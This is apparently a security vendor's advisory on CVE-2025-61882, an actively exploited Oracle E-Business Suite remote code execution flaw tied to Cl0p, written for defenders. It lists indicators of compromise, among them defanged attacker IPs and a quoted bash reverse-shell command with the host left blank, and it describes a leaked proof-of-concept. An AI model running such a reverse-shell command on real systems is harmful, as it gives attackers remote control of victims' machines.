www.orangecyberdefense.com /global/blog/cert-news/0-day-vulnerability-exploited-by-cl0p-patched-by-oracle

0-day vulnerability exploited by Cl0p patched by Oracle

CVE-2025-61882 is highly critical due to the lack of authentication required and presumed ease of exploitation. It therefore received a high CVSS risk score of 9.8 out of 10. The flaw can be exploited over the network without the need for a username and password, and results in remote code execution.

In its advisory, Oracle shared indicators of compromise that correspond to an Oracle EBS exploit; however, the issue is located in the BI Publisher integration module. These indicators include:

- Two malicious IP addresses (200.107.207[.]26 and 185[.]181.60.11) exhibiting potential GET and POST activity.
- The presumed exploit, publicly disclosed by another threat actor.
- A command which opens a remote shell: `sh -c /bin/bash -i >& /dev/tcp// 0>&1`

As a reminder, last week Oracle announced that several vulnerabilities patched in July 2025 were likely exploited by cybercriminals. However, CVE-2025-61882 was not fixed at the time. Therefore, we can assume that there are other vulnerabilities that may have been exploited by Cl0p or other threat actors recently. Mandiant CTO Charles Carmakal has also publicly agreed with this hypothesis.

For years, Cl0p has exploited 0-day vulnerabilities to compromise networks, steal data, and extort victims, so this latest campaign does not represent a shift in their TTPs, despite Cl0p being relatively quiet in recent months. The first public mention of the exploitation of this 0-day actually came from another well-known threat actor, Scattered Lapsus$ Hunters. On October 6, this group shared on their Telegram two different files:

- `GIFT_FROM_CL0P.7z` which contains Oracle source code possibly related to “support.oracle.com” based on the files in this archive.
- `ORACLE_EBS_NDAY_EXPLOIT_POC_SCATTERED_LAPSUS_RETARD_CL0P_HUNTERS.zip` which they claim was the actual exploit leveraged by Cl0p. It includes a `README.md` with instructions and two Python scripts, `exp.py` and `server.py`. The scripts target a vulnerable Oracle E-Business Suite instance to run arbitrary commands and establish a reverse shell towards the attacker's server.

The second script is the one published by Oracle in their IoCs. It is still unknown how Scattered Lapsus$ Hunters came to possess the exploit Cl0p presumably leveraged, but they claim that they were the first to initially discover it. It is equally possible both groups found the issue separately, or that the details were shared from one group to the other.

Given evidence that the 0-day flaw was likely leveraged by Cl0p weeks ago, a group that frequently targets numerous organizations in each of their campaigns, we have decided to raise the threat level of this advisory to 4 out of 5.

As a public PoC exploit exists and the flaw is actively exploited, it is crucial to install Oracle EBS security update as soon as possible. Oracle notes that customers must first install the October 2023 Critical Patch Update before they can install the new security updates.

Orange Cyberdefense's ThreatMap Standard or Premium service provides access to Indicators of Compromise (IoCs) related to this threat, which are automatically fed into our Managed Threat Detection services. This enables proactive hunting for IoCs if you subscribe to our Managed Threat Detection service that includes Threat Hunting. If you would like us to prioritize addressing these IoCs in your next hunt, please submit a request through your MTD customer portal or contact your representative.

Orange Cyberdefense's ThreatMap Core service offers the ability to automatically feed network-related IoCs into your security solutions. To learn more about this service and to find out which firewall, proxy, and other vendor solutions are supported, please get in touch with your Orange Cyberdefense Trusted Solutions representative.